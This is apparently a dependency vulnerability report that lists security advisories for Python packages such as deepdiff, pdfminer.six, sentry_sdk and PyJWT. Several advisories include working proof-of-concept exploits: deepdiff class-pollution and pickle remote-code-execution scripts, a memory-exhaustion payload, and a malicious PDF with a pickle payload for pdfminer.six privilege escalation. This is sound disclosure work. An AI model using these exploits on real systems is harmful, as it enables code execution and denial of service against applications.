A valid diff dict that first sets a value to a large int via `values_changed`, then converts it to bytes via `type_changes`. It works because `_do_values_changed()` runs before `_do_type_changes()` in `Delta.add()` in `delta.py` line 183. Step 1 modifies the target in place before step 2 reads the modified value and calls `new_type(current_old_value)` at `delta.py` line 576 with no size guard.
### PoC
The script uses Python's `resource` module to cap memory to 1 GB so you can reproduce safely without hitting the OOM killer. It loads deepdiff first, applies the limit, then runs the payload. Change `10**8` to `10**10` for the full 9.3 GB allocation.
```python
import resource
import sys
def limit_memory(maxsize_mb):
"""Cap virtual memory for this process."""
soft, hard = resource.getrlimit(resource.RLIMIT_AS)
maxsize_bytes = maxsize_mb * 1024 * 1024
try:
resource.setrlimit(resource.RLIMIT_AS, (maxsize_bytes, hard))
print(f"[*] Memory limit set to {maxsize_mb} MB")
except ValueError:
print("[!] Failed to set memory limit.")
sys.exit(1)
# Load heavy imports before enforcing the limit
from deepdiff import Delta
from deepdiff.serialization import pickle_dump, pickle_load
limit_memory(1024)
# --- Delta application path ---
payload_dict = {
'values_changed': {"root['x']": {'new_value': 10**8}},
'type_changes': {"root['x']": {'new_type': bytes}},
}
payload1 = pickle_dump(payload_dict)
print(f"Payload size: {len(payload1)} bytes")
target = {'x': 'anything'}
try:
result = target + Delta(payload1)
print(f"Allocated: {len(result['x']) // 1024 // 1024} MB")
print(f"Amplification: {len(result['x']) // len(payload1)}x")
except MemoryError:
print("[!] MemoryError — payload tried to allocate too much")
# --- Raw pickle path ---
payload2 = (
b"(dp0\n"
b"S'_'\n"
b"cbuiltins\nbytes\n"
b"(I100000000\n"
b"tR"
b"s."
)
print(f"Payload size: {len(payload2)} bytes")
try:
result2 = pickle_load(payload2)
print(f"Allocated: {len(result2['_']) // 1024 // 1024} MB")
except MemoryError:
print("[!] MemoryError — payload tried to allocate too much")
```
Output:
```
[*] Memory limit set to 1024 MB
Payload size: 123 bytes
Allocated: 95 MB
Amplification: 813008x
Payload size: 42 bytes
Allocated: 95 MB
```
### Impact
Denial of service. Any application that deserializes delta objects or calls `pickle_load` with untrusted inputs can be crashed with a small payload. The restricted unpickler is meant to make this safe. It prevents remote code execution but doesn't prevent resource exhaustion.
The amplification is large. 800,000x for delta and 2,000,000x for raw pickle.
Impacted users are anyone who accepts serialized delta objects from untrusted sources — network APIs, file uploads, message queues, etc.
|
| PYSEC-2026-327 | 8.6.1 | l10n_es_aeat_sii_match |
Show details### Summary
[Python class pollution](https://blog.abdulrah33m.com/prototype-pollution-in-python/) is a novel vulnerability categorized under [CWE-915](https://cwe.mitre.org/data/definitions/915.html). The `Delta` class is vulnerable to class pollution via its constructor, and when combined with a gadget available in DeltaDiff itself, it can lead to Denial of Service and Remote Code Execution (via insecure [Pickle](https://docs.python.org/3/library/pickle.html) deserialization).
The gadget available in DeepDiff allows `deepdiff.serialization.SAFE_TO_IMPORT` to be modified to allow dangerous classes such as `posix.system`, and then perform insecure Pickle deserialization via the Delta class. This potentially allows any Python code to be executed, given that the input to `Delta` is user-controlled.
Depending on the application where DeepDiff is used, this can also lead to other vulnerabilities. For example, in a web application, it might be possible to bypass authentication via class pollution.
### Details
The `Delta` class can take different object types as a parameter in its constructor, such as a `DeltaDiff` object, a dictionary, or even just bytes (that are deserialized via Pickle).
When it takes a dictionary, it is usually in the following format:
```py
Delta({"dictionary_item_added": {"root.myattr['foo']": "bar"}})
```
Trying to apply class pollution here does not work, because there is already a filter in place: https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/path.py#L23
However, this code only runs when parsing the path from a string.
The `_path_to_elements` function helpfully returns the given input if it is already a list/tuple:
https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/path.py#L52-L53
This means that it is possible to pass the path as the internal representation used by Delta, bypassing the filter:
```py
Delta(
{
"dictionary_item_added": {
(
("root", "GETATTR"),
("__init__", "GETATTR"),
("__globals__", "GETATTR"),
("PWNED", "GET"),
): 1337
}
},
)
```
Going back to the possible inputs of `Delta`, when it takes a `bytes` as input, it uses pickle to deserialize them.
Care was taken by DeepDiff to prevent arbitrary code execution via the `SAFE_TO_IMPORT` allow list.
https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/serialization.py#L62-L98
However, using the class pollution in the `Delta`, an attacker can add new entries to this `set`.
This then allows a second call to `Delta` to [unpickle an insecure class](https://davidhamann.de/2020/04/05/exploiting-python-pickle/) that runs `os.system`, for example.
#### Using dict
Usually, class pollution [does not work](https://gist.github.com/CalumHutton/45d33e9ea55bf4953b3b31c84703dfca#technical-details) when traversal starts at a `dict`/`list`/`tuple`, because it is not possible to reach `__globals__` from there.
However, using two calls to `Delta` (or just one call if the target dictionary that already contains at least one entry) it is possible to first change one entry of the dictionary to be of type `deepdiff.helper.Opcode`, which then allows traversal to `__globals__`, and notably `sys.modules`, which in turn allows traversal to any module already loaded by Python.
Passing `Opcode` around can be done via pickle, which `Delta` will happily accept given it is in the default allow list.
### Proof of Concept
With deepdiff 8.6.0 installed, run the following scripts for each proof of concept.
All input to `Delta` is assumed to be user-controlled.
#### Denial of Service
This script will pollute the value of `builtins.int`, preventing the class from being used and making code crash whenever invoked.
```py
# ------------[ Setup ]------------
import pickle
from deepdiff.helper import Opcode
pollute_int = pickle.dumps(
{
"values_changed": {"root['tmp']": {"new_value": Opcode("", 0, 0, 0, 0)}},
"dictionary_item_added": {
(
("root", "GETATTR"),
("tmp", "GET"),
("__repr__", "GETATTR"),
("__globals__", "GETATTR"),
("__builtins__", "GET"),
("int", "GET"),
): "no longer a class"
},
}
)
assert isinstance(pollute_int, bytes)
# ------------[ Exploit ]------------
# This could be some example, vulnerable, application.
# The inputs above could be sent via HTTP, for example.
from deepdiff import Delta
# Existing dictionary; it is assumed that it contains
# at least one entry, otherwise a different Delta needs to be
# applied first, adding an entry to the dictionary.
mydict = {"tmp": "foobar"}
# Before pollution
print(int("41") + 1)
# Apply Delta to mydict
result = mydict + Delta(pollute_int)
print(int("1337"))
```
```shell
$ python poc_dos.py
42
Traceback (most recent call last):
File "/tmp/poc_dos.py", line 43, in <module>
print(int("1337"))
TypeError: 'str' object is not callable
```
#### Remote Code Execution
This script will create a file at `/tmp/pwned` with the output of `id`.
```py
# ------------[ Setup ]------------
import os
import pickle
from deepdiff.helper import Opcode
pollute_safe_to_import = pickle.dumps(
{
"values_changed": {"root['tmp']": {"new_value": Opcode("", 0, 0, 0, 0)}},
"set_item_added": {
(
("root", "GETATTR"),
("tmp", "GET"),
("__repr__", "GETATTR"),
("__globals__", "GETATTR"),
("sys", "GET"),
("modules", "GETATTR"),
("deepdiff.serialization", "GET"),
("SAFE_TO_IMPORT", "GETATTR"),
): set(["posix.system"])
},
}
)
# From https://davidhamann.de/2020/04/05/exploiting-python-pickle/
class RCE:
def __reduce__(self):
cmd = "id > /tmp/pwned"
return os.system, (cmd,)
# Wrap object with dictionary so that Delta does not crash
rce_pickle = pickle.dumps({"_": RCE()})
assert isinstance(pollute_safe_to_import, bytes)
assert isinstance(rce_pickle, bytes)
# ------------[ Exploit ]------------
# This could be some example, vulnerable, application.
# The inputs above could be sent via HTTP, for example.
from deepdiff import Delta
# Existing dictionary; it is assumed that it contains
# at least one entry, otherwise a different Delta needs to be
# applied first, adding an entry to the dictionary.
mydict = {"tmp": "foobar"}
# Apply Delta to mydict
result = mydict + Delta(pollute_safe_to_import)
Delta(rce_pickle) # no need to apply this Delta
```
```shell
$ python poc_rce.py
$ cat /tmp/pwned
uid=1000(dtc) gid=100(users) groups=100(users),1(wheel)
```
### Who is affected?
Only applications that pass (untrusted) user input directly into `Delta` are affected.
While input in the form of `bytes` is the most flexible, there are certainly other gadgets, depending on the application, that can be used via just a dictionary. This dictionary could easily be parsed, for example, from JSON. One simple example would be overriding `app.secret_key` of a Flask application, which would allow an attacker to sign arbitrary cookies, leading to an authentication bypass.
### Mitigations
A straightforward mitigation is preventing traversal through private keys, like it is already done in the path parser.
This would have to be implemented in both `deepdiff.path._get_nested_obj` and `deepdiff.path._get_nested_obj_and_force`,
and possibly in `deepdiff.delta.Delta._get_elements_and_details`.
Example code that raises an error when traversing these properties:
```py
if elem.startswith("__") and elem.endswith("__"):
raise ValueError("traversing dunder attributes is not allowed")
```
However, if it is desirable to still support attributes starting and ending with `__`, but still protect against this vulnerability, it is possible to only forbid `__globals__` and `__builtins__`, which stops the most serious cases of class pollution (but not all).
This was the solution adopted by pydash: https://github.com/dgilland/pydash/issues/180
|
| marshmallow<4.0.0 | |||
|---|---|---|---|
| ID | Fixed In | Affected modules | Details |
| GHSA-428g-f7cq-pgp5 | 3.26.2, 4.1.2 | datamodel |
Show details### Impact
`Schema.load(data, many=True)` is vulnerable to denial of service attacks. A moderately sized request can consume a disproportionate amount of CPU time.
### Patches
4.1.2, 3.26.2
### Workarounds
```py
# Fail fast
def load_many(schema, data, **kwargs):
if not isinstance(data, list):
raise ValidationError(['Invalid input type.'])
return [schema.load(item, **kwargs) for item in data]
```
|
| paramiko<4.0.0 | |||
|---|---|---|---|
| ID | Fixed In | Affected modules | Details |
| GHSA-r374-rxx8-8654 | auto_backup |
Show detailsIn Paramiko through 4.0.0 before a448945, rsakey.py allows the SHA-1 algorithm.
|
|
| pdfminer.six==20220319 | |||
|---|---|---|---|
| ID | Fixed In | Affected modules | Details |
| GHSA-wf5f-4jwr-ppcp | 20251107 | l10n_mx_res_partner_csf |
Show details### Summary
pdfminer.six will execute arbitrary code from a malicious pickle file if provided with a malicious PDF file. The `CMapDB._load_data()` function in pdfminer.six uses `pickle.loads()` to deserialize pickle files. These pickle files are supposed to be part of the pdfminer.six distribution stored in the `cmap/` directory, but a malicious PDF can specify an alternative directory and filename as long as the filename ends in `.pickle.gz`. A malicious, zipped pickle file can then contain code which will automatically execute when the PDF is processed.
### Details
```python
# Vulnerable code in pdfminer/cmapdb.py:233-246
def _load_data(cls, name: str) -> Any:
name = name.replace("\0", "") # Insufficient sanitization
filename = "%s.pickle.gz" % name
# ... path construction ...
path = os.path.join(directory, filename) # If filename is an absolte path, directory is ignored
# ...
return type(str(name), (), pickle.loads(gzfile.read())) # Unsafe deserialization
```
An attacker can:
1. Create a malicious PDF with a CMap reference like `/malicious`
2. Place a malicious pickle file at `/malicious.pickle.gz`
3. When the PDF is processed, pdfminer loads and deserializes the malicious pickle
4. The pickle deserialization can execute arbitrary Python code
### POC
#### Malicious PDF
Create a PDF with a malicious CMAP entry:
```
5 0 obj
<<
/Type /Font
/Subtype /Type0
/BaseFont /MaliciousFont-Identity-H
/Encoding /#2Fpdfs#2Fmalicious
/DescendantFonts [6 0 R]
>>
endobj
```
Here the /Encoding points to `/pdfs/malicious`. Pdfminer will append the extension `.pickle.gz` to this filename. Place the PDF in a file called `/pdfs/malicious.pdf`.
#### Malicious Pickle
Create a malicious, zipped pickle to execute. For example, with this Python script:
```python
#!/usr/bin/env python3
import pickle
import gzip
def create_demo_pickle():
print("Creating demonstration pickle file...")
# Create payload that executes code AND returns a dict (as pdfminer expects)
class EvilPayload:
def __reduce__(self):
# This function will be called during unpickling
code = "print('Malicious code executed.') or exit(0) or {}"
return (eval, (code,))
demo_cmap_data = EvilPayload()
# Create the pickle file that the path traversal would access
target_path = "./malicious.pickle.gz"
try:
with gzip.open(target_path, 'wb') as f:
pickle.dump(demo_cmap_data, f)
print(f"✓ Created demonstration pickle file: {target_path}")
return target_path
except Exception as e:
print(f"✗ Error creating pickle file: {e}")
return None
if __name__ == "__main__":
create_demo_pickle()
```
This will create a harmless, zipped pickle file that will display "Malicious code eecuted." then exit when deserialized. Put the file in `/pdfs/malicious.pickle.gz`.
#### Test
Install pdfminer.six and run `pdf2text.py /pdfs/malicious.pdf`. Instead of processing the PDF as normal you should see the output:
```
$ pdf2txt.py malicious.pdf
Malicious code executed!
```
### Impact
If pdfminer.six processes a malicious PDF which points to a zipped pickle file under the control of an attacker the result is arbitrary code execution on the victim's system. An attacker could execute the Python code of their chosing with the permissions of the process running pdfminer.six.
The difficulty in achieving this depends on the OS, see below.
#### Linux, MacOS - harder to exploit
On Linux-like systems only files on the filesystem can be resolved. An attacker would need to provide the malicious PDF for processing *and* the malicious pickle file would need to be present on the target system in a location that the attacker already knows, since it needs to be set in the PDF itself. In many cases this will be difficult to exploit because even if the attacker provides both the PDF and the pickle file together, there would be no way to know in advance which full path to the pickle file to specify. In many cases this would make exploitation difficult or impossible. However:
* An attacker may find a way to write files to a known location on the target system or
* The system in question may, by design, read files from a known location such as a network share designated for PDF ingestion.
Overall, there is generally less risk on a Linux or Linux-like system.
#### Windows - easier to exploit
Windows paths can specify network locations e.g. WebDAV, SMB. This means that an attacker could host the malicious pickle remotely and specify a path to the it in the PDF. Since there is no need to get the malicious pickle file on to the target system, exploitation is easier on a Windows OS.
### Appendix
A complete, malicious PDF is provided here. A dockerized POC is available upon request.
```
%PDF-1.4
1 0 obj
<<
/Type /Catalog
/Pages 2 0 R
>>
endobj
2 0 obj
<<
/Type /Pages
/Kids [3 0 R]
/Count 1
>>
endobj
3 0 obj
<<
/Type /Page
/Parent 2 0 R
/MediaBox [0 0 612 792]
/Contents 4 0 R
/Resources
<<
/Font
<<
/F1 5 0 R
>>
>>
>>
endobj
4 0 obj
<<
/Length 44
>>
stream
BT
/F1 12 Tf
100 700 Td
(Malicious PDF) Tj
ET
endstream
endobj
5 0 obj
<<
/Type /Font
/Subtype /Type0
/BaseFont /MaliciousFont-Identity-H
/Encoding /#2Fpdfs#2Fmalicious
/DescendantFonts [6 0 R]
>>
endobj
6 0 obj
<<
/Type /Font
/Subtype /CIDFontType2
/BaseFont /MaliciousFont
/CIDSystemInfo
<<
/Registry (Adobe)
/Ordering (Identity)
/Supplement 0
>>
/FontDescriptor 7 0 R
>>
endobj
7 0 obj
<<
/Type /FontDescriptor
/FontName /MaliciousFont
/Flags 4
/FontBBox [-1000 -1000 1000 1000]
/ItalicAngle 0
/Ascent 1000
/Descent -200
/CapHeight 800
/StemV 80
>>
endobj
xref
0 8
0000000000 65535 f
0000000009 00000 n
0000000058 00000 n
0000000115 00000 n
0000000274 00000 n
0000000370 00000 n
0000000503 00000 n
0000000673 00000 n
trailer
<<
/Size 8
/Root 1 0 R
>>
startxref
871
%%EOF
```
|
| GHSA-f83h-ghpp-7wcc | 20251230 | l10n_mx_res_partner_csf |
Show details### 🚀 Overview
This report **demonstrates a real-world privilege escalation** vulnerability in [pdfminer.six](https://github.com/pdfminer/pdfminer.six) due to unsafe usage of Python's `pickle` module for CMap file loading.
It shows how a low-privileged user can gain root access (or escalate to any service account) by exploiting insecure deserialization in a typical multi-user or server environment.

## 🚨 Special Note
This advisory addresses a distinct vulnerability from [GHSA-wf5f-4jwr-ppcp (CVE-2025-64512)](https://github.com/pdfminer/pdfminer.six/security/advisories/GHSA-wf5f-4jwr-ppcp).
While the previous CVE claims to mitigate issues related to unsafe deserialization, the patch introduced in commit [b808ee05dd7f0c8ea8ec34bdf394d40e63501086](https://github.com/pdfminer/pdfminer.six/commit/b808ee05dd7f0c8ea8ec34bdf394d40e63501086) does not address the vulnerability reported here.
Based on testing performed against the latest version of the library ([comparison view](https://github.com/pdfminer/pdfminer.six/compare/20250506...20251107)), the issue remains exploitable through local privilege escalation due to continued unsafe use of pickle files. The **Dockerfile** is hence modified to run test against this claim.
This demonstrates that the patch for **CVE-2025-64512** is incomplete: the vulnerability remains exploitable. This advisory therefore documents a distinct, independently fixable flaw. A correct remediation must remove the dependency on pickle files (or otherwise eliminate unsafe deserialization) and replace it with a safe, auditable data-handling approach so the library can operate normally without relying on ```pickle```
## 📚 Table of Contents
- [🔍 Background](#-background)
- [🐍 Vulnerability Description](#-vulnerability-description)
- [🎭 Demo Scenario](#-demo-scenario)
- [🧨 Technical Details](#-technical-details)
- [🔧 Setup and Usage](#-setup-and-usage)
- [📝 Step-by-step Walkthrough](#-step-by-step-walkthrough)
- [🛡️ Security Standards & References](#-security-standards--references)
---
## 🔍 Background
**pdfminer.six** is a popular Python library for extracting text and information from PDF files. It supports CJK (Chinese, Japanese, Korean) fonts via external CMap files, which it loads from disk using Python's `pickle` module.
> 🐍 **Security Issue:**
> If the CMap search path (`CMAP_PATH` or default directories) includes a world-writable or user-writable directory, an attacker can place a malicious `.pickle.gz` file that will be loaded and deserialized by pdfminer.six, leading to arbitrary code execution.
---
### 🐍 Vulnerability Description
- **Component:** pdfminer.six CMap loading (`pdfminer/cmapdb.py`)
- **Issue:** Loads and deserializes `.pickle.gz` files using Python’s `pickle` module, which is unsafe for untrusted data.
- **Exploitability:** If a low-privileged user can write to any directory in `CMAP_PATH`, they can execute code as the user running pdfminer—potentially root or a privileged service.
- **Impact:** Full code execution as the service user, privilege escalation from user to root, persistence, and potential lateral movement.

### 🎭 Demo Scenario
**Environment:**
- 🐧 Alpine Linux (Docker container)
- 👨💻 Two users:
- `user1` (attacker: low-privilege)
- `root` (victim: runs privileged PDF-processing script)
- 🗂️ Shared writable directory: `/tmp/uploads`
- 🛣️ `CMAP_PATH` set to `/tmp/uploads` for the privileged script
- 📦 pdfminer.six installed system-wide
**Attack Flow:**
1. 🕵️♂️ `user1` creates a malicious CMap file (`Evil.pickle.gz`) in `/tmp/uploads`.
2. 👑 The privileged service (`root`) processes a PDF or calls `get_cmap("Evil")`.
3. 💣 The malicious pickle is deserialized, running arbitrary code as root.
4. 🎯 The exploit creates a flag file in `/root/pwnedByPdfminer` as proof.

### 🧨 Technical Details
- **Vulnerability Type:** Insecure deserialization of untrusted data using Python's `pickle`
- **Attack Prerequisites:** Attacker can write to a directory included in `CMAP_PATH`
- **Vulnerable Line:**
```python
return type(str(name), (), pickle.loads(gzfile.read()))
```
*In `pdfminer/cmapdb.py`'s `_load_data` method*
- https://github.com/pdfminer/pdfminer.six/blob/20250506/pdfminer/cmapdb.py#L246
- **Proof of Concept:** See `createEvilPickle.py`, `evilmod.py`, and `processPdf.py`
**Exploit Chain:**
- Attacker places a malicious `.pickle.gz` file in the CMap search path.
- Privileged process (e.g., root) loads a CMap, triggering pickle deserialization.
- Arbitrary code executes with the privilege of the process (root/service account).

## 🔧 Setup and Usage
### 📁 Files
#### </> Dockerfile
```yml
FROM python:3.11-alpine
ARG PM_COMMIT=b808ee05dd7f0c8ea8ec34bdf394d40e63501086
# Install git and build tooling
RUN apk add --no-cache git build-base
WORKDIR /opt
# Clone pdfminer.six and check out the specific commit, then install from source
RUN git clone https://github.com/pdfminer/pdfminer.six.git && \
cd pdfminer.six && \
git fetch --all && \
git checkout ${PM_COMMIT} && \
pip install --no-cache-dir -e .
# App working directory for PoC
WORKDIR /app
# Create low-privilege user and uploads dir
RUN adduser -D user1 && \
mkdir -p /tmp/uploads && \
chown user1:user1 /tmp/uploads && \
chmod 1777 /tmp/uploads
# Copy PoC files
COPY evilmod.py /app/evilmod.py
COPY createEvilPickle.py /app/createEvilPickle.py
COPY processPDF.py /app/processPDF.py
ENV CMAP_PATH=/tmp/uploads
ENV PYTHONUNBUFFERED=1
# Keep the container running in background so you can exec into it anytime.
CMD ["tail", "-f", "/dev/null"]
```
#### </> evilmod.py
```python
import os
def evilFunc():
with open("/root/pwnedByPdfminer", "w") as f:
f.write("ROOTED by pdfminer pickle RCE\n")
return {"CODE2CID": {}, "IS_VERTICAL": False}
```
#### </> createEvilPickle.py
```python
import pickle
import gzip
from evilmod import evilFunc
class Evil:
def __reduce__(self):
return (evilFunc, ())
payload = pickle.dumps(Evil())
with gzip.open("/tmp/uploads/Evil.pickle.gz", "wb") as f:
f.write(payload)
print("Malicious pickle created at /tmp/uploads/Evil.pickle.gz")
```
#### </> processPDF.py
```python
import os
from pdfminer.cmapdb import CMapDB
os.environ["CMAP_PATH"] = "/tmp/uploads"
CMapDB.get_cmap("Evil")
print("CMap loaded. If vulnerable, /root/pwnedByPdfminer will be created.")
```

### 1️⃣ Build and start the demo container
```bash
docker build -t pdfminer-priv-esc-demo .
docker run --rm -it --name pdfminer-demo pdfminer-priv-esc-democ
```
### 2️⃣ In the container, open two shells in parallel (or switch users in one):
#### 🕵️♂️ Shell 1 (Attacker: user1)
```bash
su user1
cd /app
python createEvilPickle.py
# ✅ Confirms: /tmp/uploads/Evil.pickle.gz is created and owned by user1
```
#### 👑 Shell 2 (Victim: root)
```bash
cd /app
python processPdf.py
# 🎯 Output: If vulnerable, /root/pwnedByPdfminer will be created
```
### 3️⃣ Proof of escalation
```bash
cat /root/pwnedByPdfminer
# 🏴 Output: ROOTED by pdfminer pickle RCE
```
<img width="815" height="889" alt="proof-of-exploit" src="https://github.com/user-attachments/assets/f465d17c-a3af-49c5-9dbc-eec9635b36fc" />

## 📝 Step-by-step Walkthrough
1. **user1** uses `createEvilPickle.py` to craft and place a malicious CMap pickle in a shared upload directory.
2. The **root** user runs a typical PDF-processing script, which loads CMap files from that directory.
3. The exploit triggers, running arbitrary code as root.
4. The attacker now has proof of code execution as root (and, in a real attack, could escalate further).

## 🛡️ Security Standards & References
- **CVSS (Common Vulnerability Scoring System):**
- **Base Score:** 7.8 (High)
- **Vector:** `AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H`
- **OWASP Top 10:**
- [A08:2021 - Software and Data Integrity Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures/)
- [A03:2021 - Injection](https://owasp.org/Top10/A03_2021-Injection/) (by analogy, as it's code injection via deserialization)
- **MITRE CWE References:**
- [CWE-502: Deserialization of Untrusted Data](https://cwe.mitre.org/data/definitions/502.html)
- [CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes](https://cwe.mitre.org/data/definitions/915.html)
- **MITRE ATT&CK Techniques:**
- [T1055: Process Injection](https://attack.mitre.org/techniques/T1055/)
- [T1548: Abuse Elevation Control Mechanism](https://attack.mitre.org/techniques/T1548/)
|
| sentry_sdk<=1.9.0 | |||
|---|---|---|---|
| ID | Fixed In | Affected modules | Details |
| GHSA-29pr-6jr8-q5jm | 1.14.0 | sentry |
Show details### Impact
When using the [Django integration](https://docs.sentry.io/platforms/python/guides/django/) of the Sentry SDK in a specific configuration it is possible to leak sensitive cookies values, including the session cookie to Sentry. These sensitive cookies could then be used by someone with access to your Sentry issues to impersonate or escalate their privileges within your application.
The below must be true in order for these sensitive values to be leaked:
1. Your Sentry SDK configuration has `sendDefaultPII` set to `True`
2. You are using a custom name for either of the cookies below in your Django settings.
- [`SESSION_COOKIE_NAME`](https://docs.djangoproject.com/en/4.1/ref/settings/#std-setting-SESSION_COOKIE_NAME) or
- [`CSRF_COOKIE_NAME`](https://docs.djangoproject.com/en/4.1/ref/settings/#std-setting-CSRF_COOKIE_NAME) Django settings
3. You are not configured in your organization or project settings to use [our data scrubbing features](https://docs.sentry.io/product/data-management-settings/scrubbing/) to account for the custom cookie names
### Patches
As of version `1.14.0`, the Django integration of the `sentry-sdk` will detect the custom cookie names based on your Django settings and will remove the values from the payload _before_ sending the data to Sentry.
### Workarounds
If you can not update your `sentry-sdk` to a patched version than you can use the SDKs filtering mechanism to remove the cookies from the payload that is sent to Sentry. For error events this can be done with the [before_send](https://docs.sentry.io/platforms/python/configuration/filtering/#using-platformidentifier-namebefore-send-) callback method and for performance related events (transactions) you can use the [before_send_transaction](https://docs.sentry.io/platforms/python/configuration/filtering/#using-platformidentifier-namebefore-send-transaction-) callback method.
If you'd like to handle filtering of these values on the server-side, you can also use our [advanced data scrubbing feature](https://docs.sentry.io/product/data-management-settings/scrubbing/advanced-datascrubbing/) to account for the custom cookie names. Look for the `$http.cookies`, `$http.headers`, `$request.cookies`, or `$request.headers` fields to target with your scrubbing rule.
### References
- [Using Your Tools Against You (Chapter8 Blog Post)](https://medium.com/@tomwolters/using-your-tools-against-you-cea4d2482ebb)
- [Sentry Python SDK Filtering](https://docs.sentry.io/platforms/python/configuration/filtering/)
- [Sentry Data Scrubbing](https://docs.sentry.io/product/data-management-settings/scrubbing/advanced-datascrubbing/)
### Credits
- [Tom Wolters (Chapter8)](https://chapter8.com)
|
| GHSA-g92j-qhmh-64v2 | 2.8.0, 1.45.1 | sentry |
Show details### Impact
The bug in Sentry's Python SDK <2.8.0 results in the unintentional exposure of environment variables to subprocesses despite the `env={}` setting.
### Details
In Python's `subprocess` calls, all environment variables are passed to subprocesses by default. However, if you specifically do not want them to be passed to subprocesses, you may use `env` argument in `subprocess` calls, like in this example:
```
>>> subprocess.check_output(["env"], env={"TEST":"1"})
b'TEST=1\n'
```
If you'd want to not pass any variables, you can set an empty dict:
```
>>> subprocess.check_output(["env"], env={})
b''
```
However, the bug in Sentry SDK <2.8.0 causes **all environment variables** to be passed to the subprocesses when `env={}` is set, unless the Sentry SDK's [Stdlib](https://docs.sentry.io/platforms/python/integrations/default-integrations/#stdlib) integration is disabled. The Stdlib integration is enabled by default.
### Patches
The issue has been patched in https://github.com/getsentry/sentry-python/pull/3251 and the fix released in [sentry-sdk==2.8.0](https://github.com/getsentry/sentry-python/releases/tag/2.8.0). The fix was also backported to [sentry-sdk==1.45.1](https://github.com/getsentry/sentry-python/releases/tag/1.45.1).
### Workarounds
We strongly recommend upgrading to the latest SDK version. However, if it's not possible, and if passing environment variables to child processes poses a security risk for you, there are two options:
1. In your application, replace `env={}` with the minimal dict `env={"EMPTY_ENV":"1"}` or similar.
OR
2. Disable Stdlib integration:
```
import sentry_sdk
# Should go before sentry_sdk.init
sentry_sdk.integrations._DEFAULT_INTEGRATIONS.remove("sentry_sdk.integrations.stdlib.StdlibIntegration")
sentry_sdk.init(...)
```
### References
* Sentry docs: [Default integrations](https://docs.sentry.io/platforms/python/integrations/default-integrations/)
* Python docs: [subprocess module](https://docs.python.org/3/library/subprocess.html)
* Patch https://github.com/getsentry/sentry-python/pull/3251
|
51 vulnerabilities across 8 packages, affecting 7 modules.
| PyJWT>=1.7.1,<2.9.0 | |||
|---|---|---|---|
| ID | Fixed In | Affected modules | Details |
| PYSEC-2026-178 | 2.13.0 | connector_jira |
Show detailsPyJWT is a JSON Web Token implementation in Python. From 2.8.0 to 2.12.1, when verifying detached JWS tokens using the unencoded-payload option ("b64": false, RFC 7797), PyJWT performs Base64URL decoding of the compact-serialization payload segment before enforcing the detached-payload rules. For b64=false, PyJWT later discards that decoded payload and replaces it with the caller-provided detached_payload. In practice, this turns the middle segment into an attacker-controlled “work amplifier”: a remote client can supply an arbitrarily large Base64URL payload segment that forces CPU work + memory allocations even if the signature is invalid. This creates an unauthenticated DoS vector against any endpoint that verifies detached JWS using PyJWT. This vulnerability is fixed in 2.13.0.
|
| PYSEC-2025-183 | connector_jira |
Show detailspyjwt v2.10.1 was discovered to contain weak encryption. NOTE: this is disputed by the Supplier because the key length is chosen by the application that uses the library (admittedly, library users may benefit from a minimum value and a mechanism for opting in to strict enforcement).
|
|
| PYSEC-2026-177 | 2.13.0 | connector_jira |
Show detailsPyJWT is a JSON Web Token implementation in Python. Prior to 2.13.0, PyJWKClient.get_signing_key() forces a fresh HTTP request to the JWKS endpoint for every JWT with an unknown kid value, with no rate limiting. Since kid comes from the unverified token header, an attacker can trigger unlimited outbound requests. The vulnerability surfaces only when a JWKS fetch fails; an attacker can attempt to provoke that with sustained unknown-kid traffic, but the outcome depends on upstream JWKS-endpoint behavior (rate limiting, transient errors) which is beyond the attacker's control. This vulnerability is fixed in 2.13.0.
|
| GHSA-fhv5-28vv-h8m8 | 2.13.0 | connector_jira |
Show details> [!NOTE]
> The vulnerability surfaces only when a JWKS fetch fails; an attacker can attempt to provoke that with sustained unknown-kid traffic, but the outcome depends on upstream JWKS-endpoint behavior (rate limiting, transient errors) which is beyond the attacker's control. Impact is reduced auth availability until the next successful fetch, not complete denial of service.
## Summary
PyJWKClient.get_signing_key() forces a fresh HTTP request to the JWKS endpoint for every JWT with an unknown kid value, with no rate limiting. Since kid comes from the unverified token header, an attacker can trigger unlimited outbound requests.
Additionally, fetch_data() finally block clears the JWKS cache on network error.
## Root Cause
jwt/jwks_client.py:172-198 - get_signing_key(kid) calls get_signing_keys(refresh=True) for unknown kids, bypassing TTL cache with no cooldown.
jwt/jwks_client.py:120-122 - finally block writes None to cache on error, clearing valid data.
## Impact
- DoS against JWKS endpoint (unlimited requests per invalid token)
- DoS against application (network I/O latency)
- Cascading failure (rate limiting clears cache, breaking legitimate auth)
## Suggested Fix
1. Add refresh cooldown (refuse refresh more than once per TTL period)
2. Move cache write from finally to else block
## Affected Versions
All versions with PyJWKClient (2.4.0 through 2.12.1)
|
| PYSEC-2026-175 | 2.13.0 | connector_jira |
Show detailsPyJWT is a JSON Web Token implementation in Python. Prior to 2.13.0, PyJWKClient passes its uri argument directly to urllib.request.urlopen() which uses Python stdlib's default OpenerDirector registering HTTPHandler, HTTPSHandler, FTPHandler, FileHandler, and DataHandler. There is currently no documented option to restrict which schemes PyJWKClient will fetch. If an application's jku URL ingestion path accepts attacker-influenced URLs (e.g., from JWT header, configuration file, OAuth flow parameter), the attacker can cause PyJWKClient to read arbitrary local files via file:// (SSRF on local filesystem), cause PyJWKClient to attempt FTP / data-URI fetches (broader SSRF surface), or forge tokens that PyJWT verifies as valid. The library does not directly return non-HTTP(S) URI contents to the attacker; the chained "plant a JWKS to forge tokens" scenario described in the original report requires additional application-layer flaws (attacker write access to a filesystem path, untrusted jku derivation) that this fix does not address. This vulnerability is fixed in 2.13.0.
|
| GHSA-xgmm-8j9v-c9wx | 2.13.0 | connector_jira |
Show details> [!NOTE]
> Exploitation requires a verifier configured with both symmetric and asymmetric algorithms in `algorithms=[…]` and a raw-JSON JWK as the `key=` argument, both contrary to documented usage, hence the High attack-complexity rating.
### Summary
